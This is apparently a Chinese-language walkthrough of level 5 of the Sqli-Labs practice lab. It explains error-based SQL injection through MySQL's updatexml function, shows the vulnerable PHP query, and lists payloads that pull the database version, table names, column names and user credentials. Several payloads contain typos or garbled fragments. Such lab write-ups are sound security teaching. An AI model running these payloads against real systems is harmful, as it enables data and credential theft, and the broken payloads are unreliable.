【Sqli-Labs-Master】Less-5 (报错注入)

Less5

单引号的注入

?id=1'  报错

?id=1'%23  尝试闭合,成功回显

 【Sqli-Labs-Master】Less-5 (报错注入)_第1张图片

看到这个报错信息,基本就行布尔型盲注、报错型注入、时间延迟型盲注,UNION联合查询型注入应该是不能用了。

 

查看源代码:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";  

$result=mysql_query($sql);  

$row = mysql_fetch_array($result);

   {  

   echo 'You are in...........';  

   }  

语句和Less1一致,只是没有输出$row,因而也看不到相应的信息,如果要挖掘数据库信息,这里可以用到报错注入。

用到函数UpdateXml (XML_document, XPath_string, new_value); 

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 

第三个参数:new_value,String格式,替换查找到的符合条件的数据 

作用:改变文档中符合条件的节点的值

 

payload:

?id=1' and updatexml(1,concat(0x7e,version(),0x7e),1)%23

CONCAT(str1,str2,…)  

返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。

通过查询version(),返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。

错误大概会是:ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

(Xpath格式 : https://www.cnblogs.com/Loofah/archive/2012/05/10/2494036.html)

报数据库版本信息

?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)%23

链接用户

?id=1' and updatexml(1,(0x7e,(select user()),0x7e),1)%23

链接数据库

?id=1' and updatexml(1,concat(0x7e,concat(select datebase()),0x7e),1)%23

【Sqli-Labs-Master】Less-5 (报错注入)_第2张图片

爆库--security

?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e,(select schema_name),0x7e)from admin limit 0,1),0x7e),1)%23

或者:

?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1)%23

爆表-- emails,referers,uagents,users

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1),0x7e),1) %23

爆列名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' limit 0,1),0x7e),1) %23

爆字段

?id=1' and updatexml(1,concat(0x7e,(select concat_ws('%23',username,password) from users limit 0,1),0x7e),1) %230,1),0x7e),1) %23

 

 

你可能感兴趣的:(Web)